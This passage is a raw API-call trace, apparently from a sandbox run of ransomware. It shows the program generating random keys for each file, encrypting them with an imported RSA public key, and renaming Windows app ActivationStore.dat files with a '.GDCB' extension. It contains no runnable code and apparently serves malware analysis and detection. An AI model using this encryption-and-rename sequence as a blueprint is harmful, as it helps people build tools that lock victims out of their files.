Data\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Microsoft.WindowsMaps_4.1505.50619.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\microsoft.windowsmaps_4.1505.50619.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0293.819] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd740000 [0293.823] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd750000 [0293.827] ReadFile (in: hFile=0x504, lpBuffer=0xd750000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd750000*, lpNumberOfBytesRead=0x285de08*=0x10000, lpOverlapped=0x0) returned 1 [0293.862] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0xd860000 [0293.871] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Microsoft.WindowsMaps_4.1505.50619.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\microsoft.windowsmaps_4.1505.50619.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Microsoft.WindowsMaps_4.1505.50619.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\microsoft.windowsmaps_4.1505.50619.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 0 [0293.901] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4980) returned 1 [0293.904] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.907] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.907] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0293.907] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0293.907] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0293.911] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.914] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.914] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0293.914] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.914] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0293.917] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab9b0) returned 1 [0293.917] CryptGetKeyParam (in: hKey=0x67ab9b0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.917] CryptEncrypt (in: hKey=0x67ab9b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd720000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd720000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0293.917] GetLastError () returned 0x0 [0293.917] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0293.917] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0293.921] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67abc30) returned 1 [0293.921] CryptGetKeyParam (in: hKey=0x67abc30, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.921] CryptEncrypt (in: hKey=0x67abc30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd730000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd730000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0293.921] GetLastError () returned 0x0 [0293.921] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0293.921] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\Microsoft.WindowsPhone_10.1506.20010.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\microsoft.windowsphone_10.1506.20010.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0293.953] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0293.956] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.959] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.959] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0293.959] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.959] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0293.961] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.963] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.963] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0293.964] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.964] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4980) returned 1 [0293.967] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab8f0) returned 1 [0293.967] CryptGetKeyParam (in: hKey=0x67ab8f0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.967] CryptEncrypt (in: hKey=0x67ab8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd740000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd740000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0293.967] GetLastError () returned 0x0 [0293.967] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0293.968] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4980) returned 1 [0293.971] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67abb70) returned 1 [0293.971] CryptGetKeyParam (in: hKey=0x67abb70, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.971] CryptEncrypt (in: hKey=0x67abb70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd750000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd750000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0293.971] GetLastError () returned 0x0 [0293.971] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0293.971] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Microsoft.WindowsSoundRecorder_10.1506.15100.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\microsoft.windowssoundrecorder_10.1506.15100.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0294.010] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0294.014] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0294.017] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0294.017] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0294.017] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0294.017] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0294.020] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0294.023] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0294.023] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0294.023] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.023] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4980) returned 1 [0294.026] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ac030) returned 1 [0294.026] CryptGetKeyParam (in: hKey=0x67ac030, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0294.026] CryptEncrypt (in: hKey=0x67ac030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd760000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd760000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0294.026] GetLastError () returned 0x0 [0294.026] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0294.026] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4980) returned 1 [0294.028] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aba30) returned 1 [0294.028] CryptGetKeyParam (in: hKey=0x67aba30, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0294.028] CryptEncrypt (in: hKey=0x67aba30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd770000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd770000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0294.029] GetLastError () returned 0x0 [0294.029] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0294.029] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Microsoft.WindowsStore_2015.7.1.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\microsoft.windowsstore_2015.7.1.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0294.030] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd780000 [0294.033] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd790000 [0294.037] ReadFile (in: hFile=0x504, lpBuffer=0xd790000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd790000*, lpNumberOfBytesRead=0x285de08*=0x20000, lpOverlapped=0x0) returned 1 [0294.060] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0xd8a0000 [0294.077] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Microsoft.WindowsStore_2015.7.1.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\microsoft.windowsstore_2015.7.1.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Microsoft.WindowsStore_2015.7.1.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\microsoft.windowsstore_2015.7.1.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 0 [0294.110] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0294.113] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0294.117] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0294.117] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0294.117] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.117] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0294.121] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0294.123] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0294.124] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0294.124] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.124] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0294.127] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab9f0) returned 1 [0294.127] CryptGetKeyParam (in: hKey=0x67ab9f0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0294.127] CryptEncrypt (in: hKey=0x67ab9f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd760000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd760000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0294.127] GetLastError () returned 0x0 [0294.127] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.127] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0294.129] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67abc70) returned 1 [0294.129] CryptGetKeyParam (in: hKey=0x67abc70, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0294.129] CryptEncrypt (in: hKey=0x67abc70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd770000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd770000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0294.130] GetLastError () returned 0x0 [0294.130] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.130] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Microsoft.XboxApp_5.6.17000.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\microsoft.xboxapp_5.6.17000.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0294.131] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd780000 [0294.136] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd790000 [0294.139] ReadFile (in: hFile=0x504, lpBuffer=0xd790000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd790000*, lpNumberOfBytesRead=0x285de08*=0x10000, lpOverlapped=0x0) returned 1 [0294.154] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0xd8a0000 [0294.166] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Microsoft.XboxApp_5.6.17000.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\microsoft.xboxapp_5.6.17000.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Microsoft.XboxApp_5.6.17000.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\microsoft.xboxapp_5.6.17000.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0294.233] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4980) returned 1 [0294.237] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0294.240] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0294.240] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0294.240] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0294.240] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0294.243] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0294.245] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0294.245] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0294.245] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.246] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0294.248] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67abcb0) returned 1 [0294.248] CryptGetKeyParam (in: hKey=0x67abcb0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0294.248] CryptEncrypt (in: hKey=0x67abcb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd760000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd760000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0294.249] GetLastError () returned 0x0 [0294.249] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.249] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0294.251] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ac070) returned 1 [0294.251] CryptGetKeyParam (in: hKey=0x67ac070, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0294.251] CryptEncrypt (in: hKey=0x67ac070, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd770000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd770000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0294.251] GetLastError () returned 0x0 [0294.251] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.251] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Microsoft.ZuneMusic_3.6.10841.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\microsoft.zunemusic_3.6.10841.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0294.252] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd780000 [0294.256] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd790000 [0294.259] ReadFile (in: hFile=0x504, lpBuffer=0xd790000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd790000*, lpNumberOfBytesRead=0x285de08*=0x10000, lpOverlapped=0x0) returned 1 [0294.272] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0xd8a0000 [0294.280] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Microsoft.ZuneMusic_3.6.10841.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\microsoft.zunemusic_3.6.10841.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Microsoft.ZuneMusic_3.6.10841.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\microsoft.zunemusic_3.6.10841.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0294.308] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0294.311] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0294.314] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0294.314] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0294.314] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 